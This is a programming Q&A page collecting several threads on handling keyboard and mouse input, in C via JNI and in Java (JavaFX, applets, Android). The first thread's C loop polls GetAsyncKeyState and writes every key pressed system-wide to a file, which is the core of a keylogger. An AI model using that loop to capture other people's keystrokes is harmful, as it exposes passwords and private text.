Since catching click event with Java is limited to the JVM environment and cannot be seen, eg, on my browser or on my text editor, I adopted JNI in order to use C API of Windows and be more flexible.
I'm using Eclipse on Windows 7.
The following code catches with success every key I press on keyboard, except the left and right click of my mouse.
Do I need to use a special handling for the mouse clicks?
Thanks in advance :)
while(1) {
// to prevent 100% CPU usage
Sleep(10);
for(character=8; character<=222; character++) {
if(GetAsyncKeyState(character) == -32767) {
file = fopen(FileName,"a+");
if(file == NULL)
return 1;
if(file != NULL) {
if((character>=39) && (character<=64)) {
fputc(character,file);
i++;
fclose(file);
break;
} else if((character>64) && (character<91)) {
character += 32;
fputc(character,file);
i++;
fclose(file);
break;
}
else {
switch(character) {
case VK_LBUTTON:fputs("[LEFT CLICK]",file);i++;fclose(file);break;
case VK_RBUTTON:fputs("[RIGHT CLICK]",file);i++;fclose(file);break;
case VK_BACK:fputs("[BACKSPACE]",file);i++;fclose(file);break;
// follow all the others detections of the remaining virtual keys...
VK_LBUTTON == 0x01, VK_RBUTTON == 0x02. You are checking the codes from 8 upwards.
Related
How do i do an if statement for example if the user is from A for the first time, he will do activity a, but if he has been to A before he will go straight to B?
A possible solution would be using a SharedPreference for that case... you could check if preference was set or not to redirect user to activity you want and once the user goes to activity A you set the preference so next time you check will be setted and you go to activity B.
Android studio uses standard Java syntax for if/then/else statements:
if (boolean expression) {
// do something
} else if (boolean expression) {
// do something else
} else {
// do something else
}
Your boolean expression will vary depending on what you're trying to evaluate. One trick I learned is to not use an "==" operator on strings, instead use strString.equals("value") to get a proper T/F response.
Specific example:
if (intVar == 1) {
printf("Hello World 1");
} else if (intVar == 2) {
printf("Hello World 2");
} else {
printf("Hello World 3");
}
Disclaimer: I'm really new at this and I apologize in advance if:
1) my question has already been asked (I've tried searching and had a lot of trouble finding what I needed)
or 2) if I'm not asking the question correctly.
Basically, I'm trying to make a game where pressing the spacebar triggers a sort of "super-power" that will perform a set of actions just once. Afterwards, if they try to press it again, it'll run up some sort of dialogue box that says their one-time super-power has already been used.
What I have:
try {
Key move = canvas.getLastKey();
int space = 0;
if(move == Key.SPACE) {
if (space == 0) {
space = 1;
}
if (space == 2){
JOptionPane.showMessageDialog(null, "superpower already used");
}
}
if( space == 1 ) {
//action here
canvas.resetKey();
space = 2;
}
}
Right now, the super-hero action is on an endless loop but if I reset the key here:
if(move == Key.SPACE) {
if (space == 0) {
space = 1;
canvas.resetKey();
}
the user can just use the super-power over and over again. Any help would be appreciated!
In the third line, you have written int space=0 so your variable is constantly reset to 0...
You have to initialize it elsewhere (the beginning of your program is a good place for any global variable).
You should consider moving int space = 0, outside of the try block. I suppose your try block gets invoked repeatedly, so you should declare this variable under a global scope.
I am making a typing test in Java with JavaFX. I want to compare the text that is being typed in a TextField to the defined random words. However, the TextField only updates with the letter just typed sometimes and not all the times. The following code is where this problem is occurring.
field.setOnKeyTyped(e -> {
String typingWord = field.getText();
if( typingWord.isEmpty() &&
e.getCharacter().charAt(0) == '\b' &&
!(typedWords.size() == 0) &&
typingWord.equals(previousWord)){
field.setText(typedWords.get(typedWords.size() - 1));
typedWords.remove(typedWords.size() - 1);
field.positionCaret(typingWord.length());
index--;
}
//compare random words to typed words
if (Character.isWhitespace(e.getCharacter().charAt(0))) {
typedWords.set(index, typingWord);
field.clear();
e.consume();
index++;
}
previousWord = field.getText();
});
Is this purely due to the speed of my computer or is it just a bug in JavaFX?
Sir i do not know what you want to do but i want to help, so in your onKeyPressed() or onKeyReleased(), it gives a KeyEvent that is e in your case, you can use that in place of Character.isWhitespace() & e.getCharacter().charAt(0) and also /b
To get your KeyCode
field.setOnKeyTyped(e -> {
KeyCode kc = e.getCode(); // your keycode here is the character you just pressed
now with the KeyCode you can check for a whole lot of goodies,without falling to character
equality checks
if(kc == KeyCode.BACK_SPACE) //checking for your backspace
if(kc.isWhitespaceKey()) // your enter, tabs, space etc
also you can make use of these methods
TextField.deletePreviousChar();,TextField.deleteNextChar(); that might save you all the selection before clearing. if you want to clear like 10 of them then loop it 10 times
lastly why do you check for emptiness & later check if its not empty
I am working on an exercise, where I have to select a category(genre) of movie and based on my selection, the program will return a list of movies in that category from an ArrayList of objects.
My program works when typing out a category in string format. However I am trying to use a try catch block to also allow category selection by number.
My catch block is working, however my try block is not and returns nothing. Can someone help me determine what is wrong with my code? I am guessing there is something wrong with my parseInt assignment?
System.out.print("What category are you interested in?");
String catSel = sc.next();
try //Check category for Integer, otherwise catch
{
int numSel = Integer.parseInt(catSel);
if(numSel == 1)
{catSel = "animated" ;}
if(numSel == 2)
{catSel = "drama";}
if(numSel == 3)
{catSel = "horror";}
if(numSel == 4)
{catSel = "scifi";}
if(numSel == 5)
{catSel = "musical";}
if(numSel == 6)
{catSel = "comedy";}
else catSel = "";
//Check each movie for chosen category
for(int x = 0; x < list.size() - 1; x++)
{
if(catSel.equals(list.get(x).category))
System.out.println(list.get(x).movie);
}
}
catch (NumberFormatException e)
{
//Check each movie for chosen category
for(int x = 0; x < list.size() - 1; x++)
{
if(catSel.equals(list.get(x).category))
System.out.println(list.get(x).movie);
}
}
the way your if-clauses are structured, the else clause will be called whenever numSel is not 6, replacing catSel with the empty string.
You may want to add an else after each if block or replace all of them with a switch statement.
As #Dragondraikk suggested your if-else clauses are structured in a way which is not as per your expected result .
So either use in this way :
if(someCondition){
}
else if(someCondition){
}
...........................
do whatever you want to do
...........................
else{
}
Below is the way to use Switch Statement
switch(Integer.parseInt(catSel)){
case 1 :
do Something....
break;
case 2 :
do Something....
break;
case 3 :
do Something....
break;
case 4 :
do Something....
break;
case 5 :
do Something....
break;
case 6 :
do Something....
break;
default :
catSel="";
break;
}
Note : You can use try-catch block around this
Update
Advantage of Using Switch over If else
The problem with the if...else if... chain is readability , I have to look at every single if condition to understand what the program is doing. For example, you might have something like this:
if (a == 1) {
// stuff
} else if (a == 2) {
// stuff
} else if (a == 3) {
// stuff
} else if (b == 1) {
// stuff
} else if (b == 2) {
// stuff
}
(obviously, for a small number of statements like this, it's not so bad)
but I'd have no way of knowing that you changed condition variable half-way through without reading every single statement. However, because a switch limits you to a single condition variable only, I can see at a glance what's happening.
Another advantage is JumpTable
A switch is often compiled to a jump-table (one comparison to find out which code to run), or if that is not possible, the compiler may still reorder the comparisons, so as to perform a binary search among the values (log N comparisons). An if-else chain is a linear search .
Here is more about Switch Statement
I am teaching myself, from online tutorials, how to write games in Java. I am using Java Applets to create a Pong game. each paddle is controlled from different keys for 1v1 competition. this works fine if both users are hitting the keys at different times. but when one key is being held down and then another key is held down(ex: holding down on the arrow key, then user 2 holds the 'S' key), the second key overrides the first and the first paddle will stop moving. i'm guessing that i need to use threads but i don't know much about them and i am having trouble understanding how to use/implement them. how would i go about handling the case when two (or more) keys are being held down?
Bonus: like i said i don't know much about threads - i'm assuming i also need one for the ball/puck to be moving around while all else is going on. is the right and if so how do i put a thread on something that takes no input?
Thanks for you help,
DJ
What you usually do is to remember the state of every keypress.
You keep an array of your actions(or an array of all the keys if you want too). A keyDown event results in e.g.
boolean actions[12];...
...
public boolean keyDown( Event e, int key ) {
if (key == 'a') {
actions[ACTION_LEFT] = true;
}
..
}
And you'll need to catch the keyup event and set the actions to false when the keys are released.
In the movement logic you can just check the states of the keypresses
if(actions[ACTION_LEFT] == true)
moveLeft();
if(actions[ACTION_RIGTH] == true)
moveRight();
Usually instead of threads, games use something called the game loop (google it).
http://en.wikipedia.org/wiki/Game_programming
The basic idea is
Loop
Get all inputs
Get game clock
Update state based on clock and inputs
Update Display
Limit frame rate if you need to
Anyway -- instead of getting keyboard events -- you check the keyboard's state at certain points. This code seems to do it for Java
http://www.gamedev.net/reference/articles/article2439.asp
It uses events to set variables you look at in your loop.
Just in case anyone wanted to see how I ended up answering this question. My keyDown() and keyUp() method are as follows:
public boolean keyDown(Event e, int key)
{
message = key + "pressed";
//right paddle
if(key == 1005)
{
rpaddle_up = true;
}
if(key == 1004)
{
rpaddle_down = true;
}
//left paddle
if(key == 115)
{
lpaddle_up= true;
}
if(key == 119)
{
lpaddle_down=true;
}
//x key = exit
if(key == 'x')
System.exit(0);
return true;
}
public boolean keyUp(Event e, int key)
{
//right paddle
if(key == 1005)
{
rpaddle_up = false;
}
if(key == 1004)
{
rpaddle_down = false;
}
//left paddle
if(key == 115)
{
lpaddle_up= false;
}
if(key == 119)
{
lpaddle_down=false;
}
return true;
}
Hopefully if someone has the same issue this will help them. And thanks everyone for your input and help.
If I'm not mistaken, you have the keyUp() and keyDown() methods at your disposal with Applet. Have you tried setting a flag on keyDown, then unsetting it on keyUp? For example:
public boolean keyDown( Event e, int key )
{
if (key == 'a') {
player1.go("left")
}
}
public boolean keyUp( Event e, int key )
{
if (key == 'a') {
player1.stop("left")
}
}
Just an idea. I'm sure there's a standard way to deal with this.
You could use Swing Timer to periodically fire movement events between a keydown/keyup event.